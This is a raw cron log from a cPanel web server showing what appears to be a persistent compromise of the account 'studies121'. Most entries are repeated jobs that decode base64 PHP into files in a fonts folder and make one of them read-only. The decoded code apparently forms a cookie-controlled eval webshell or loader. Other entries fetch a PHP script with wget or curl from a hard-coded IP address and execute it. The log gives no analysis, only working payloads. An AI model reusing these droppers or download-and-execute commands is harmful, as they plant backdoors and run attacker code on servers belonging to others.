Sep  8 05:36:01 ip-184-168-122-23 CROND[20554]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:36:01 ip-184-168-122-23 CROND[20552]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:37:01 ip-184-168-122-23 CROND[20692]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:37:01 ip-184-168-122-23 CROND[20694]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:37:01 ip-184-168-122-23 CROND[20695]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:37:01 ip-184-168-122-23 CROND[20696]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:38:01 ip-184-168-122-23 CROND[20834]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:38:01 ip-184-168-122-23 CROND[20836]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:38:01 ip-184-168-122-23 CROND[20837]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:38:01 ip-184-168-122-23 CROND[20839]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:38:01 ip-184-168-122-23 CROND[20840]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:39:01 ip-184-168-122-23 CROND[21037]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:39:01 ip-184-168-122-23 CROND[21039]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:39:01 ip-184-168-122-23 CROND[21040]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:39:01 ip-184-168-122-23 CROND[21042]: (root) CMD (/usr/local/cpanel/scripts/clean_user_php_sessions > /dev/null 2>&1)
Sep  8 05:39:01 ip-184-168-122-23 CROND[21041]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:40:01 ip-184-168-122-23 CROND[21157]: (root) CMD (/usr/lib64/sa/sa1 1 1)
Sep  8 05:40:01 ip-184-168-122-23 CROND[21161]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:40:01 ip-184-168-122-23 CROND[21160]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:40:01 ip-184-168-122-23 CROND[21162]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:40:01 ip-184-168-122-23 CROND[21163]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:40:01 ip-184-168-122-23 CROND[21170]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:40:01 ip-184-168-122-23 CROND[21169]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:40:01 ip-184-168-122-23 CROND[21171]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:41:02 ip-184-168-122-23 CROND[21321]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:41:02 ip-184-168-122-23 CROND[21322]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:41:02 ip-184-168-122-23 CROND[21323]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:41:02 ip-184-168-122-23 CROND[21324]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:42:01 ip-184-168-122-23 CROND[21492]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:42:01 ip-184-168-122-23 CROND[21493]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:42:01 ip-184-168-122-23 CROND[21496]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:42:01 ip-184-168-122-23 CROND[21494]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:42:01 ip-184-168-122-23 CROND[21500]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:43:01 ip-184-168-122-23 CROND[21633]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:43:01 ip-184-168-122-23 CROND[21635]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:43:01 ip-184-168-122-23 CROND[21636]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:43:01 ip-184-168-122-23 CROND[21637]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:44:02 ip-184-168-122-23 CROND[21751]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:44:02 ip-184-168-122-23 CROND[21752]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:44:02 ip-184-168-122-23 CROND[21754]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:44:02 ip-184-168-122-23 CROND[21757]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:44:02 ip-184-168-122-23 CROND[21756]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:45:01 ip-184-168-122-23 CROND[21959]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:45:01 ip-184-168-122-23 CROND[21961]: (root) CMD (/usr/local/cpanel/scripts/backup_jobs_helper >> /var/log/comet_backup_jobs_helper.log 2>&1)
Sep  8 05:45:01 ip-184-168-122-23 CROND[21962]: (root) CMD (/usr/local/cpanel/scripts/dcpumon-wrapper >/dev/null 2>&1)
Sep  8 05:45:01 ip-184-168-122-23 CROND[21965]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:45:01 ip-184-168-122-23 CROND[21963]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:45:01 ip-184-168-122-23 CROND[21964]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:46:01 ip-184-168-122-23 CROND[22085]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:46:01 ip-184-168-122-23 CROND[22087]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:46:01 ip-184-168-122-23 CROND[22089]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:46:01 ip-184-168-122-23 CROND[22088]: (studies121) CMD (sleep 46; ( wget --compression=gzip -O/tmp/codeItems3 http://45.140.17.40/start.php?v=1 || curl -s --compressed --max-time 30 http://45.140.17.40/start.php?v=1 > /tmp/codeItems3) && ( /usr/local/bin/php /tmp/codeItems3 || /usr/bin/php /tmp/codeItems3 || php /tmp/codeItems3 ))
Sep  8 05:46:01 ip-184-168-122-23 CROND[22091]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:46:01 ip-184-168-122-23 CROND[22090]: (root) CMD (/usr/local/cpanel/whostmgr/bin/dnsqueue > /dev/null 2>&1)
Sep  8 05:46:01 ip-184-168-122-23 CROND[22093]: (root) CMD (/usr/local/cpanel/scripts/upcp --security)
Sep  8 05:47:01 ip-184-168-122-23 CROND[22185]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:47:01 ip-184-168-122-23 CROND[22187]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Sep  8 05:47:02 ip-184-168-122-23 CROND[22188]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Sep  8 05:47:02 ip-184-168-122-23 CROND[22189]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:48:01 ip-184-168-122-23 CROND[22308]: (fm-agent) CMD (python3 /usr/bin/fm-agent/fm_agent.py --from-cron &> /dev/null)
Sep  8 05:48:01 ip-184-168-122-23 CROND[22311]: (studies121) CMD (fp="/home/studies121/public_html/fonts/lib.php"; if [ ! -s "$fp" ]; then echo "PD9waHAgJGMgPSAkX0NPT0tJRTsgJGsgPSAwOyAkbiA9IDc7ICRwID0gYXJyYXkoKTsgJHBbJGtdID0gJyc7IHdoaWxlKCRuKSB7ICRwWyRrXSAuPSAkY1sxOF1bJG5dOyBpZighJGNbMThdWyRuKzFdKSB7IGlmKCEkY1sxOF1bJG4rMl0pIGJyZWFrOyAkaysrOyAkcFska10gPSAnJzsgJG4rKzsgfSAkbiA9ICRuICsgNyArIDE7IH0gJGsgPSAkcFs4XSgpIC4gJHBbNV07IGlmKCEkcFs5XSgkaykpIHsgJG4gPSAkcFsyOF0oJGssICRwWzI1XSk7ICRwWzEwXSgkbiwgJHBbMTVdIC4gJHBbMTNdKCRwWzFdKCRjWzNdKSkpOyB9IGluY2x1ZGUoJGspOw==" | base64 --decode > "$fp"; fi)
Sep  8 05:48:01 ip-184-168-122-23 CROND[22310]: (studies121) CMD (fp="/home/studies121/public_html/fonts/type.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGNsbnQoKSB7DQoJJGIgPSAkX0NPT0tJRTsNCgkoJGIgJiYgaXNzZXQoJGJbNjFdKSkgPyAoKCRnZyA9ICRiWzYxXS4kYlszNF0pICYmICgkbW4gPSAkZ2coJGJbMzZdLiRiWzg5XSkpICYmICgkX21uID0gJGdnKCRiWzMyXS4kYls1NF0pKSAmJiAoJF9tbiA9ICRfbW4oJGdnKCRiWzY0XSkpKSAmJiBAZXZhbCgkX21uKSkgOiAkYjsNCgkNCglyZXR1cm4gMDsNCn0NCg0KY2xudCgpOw==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
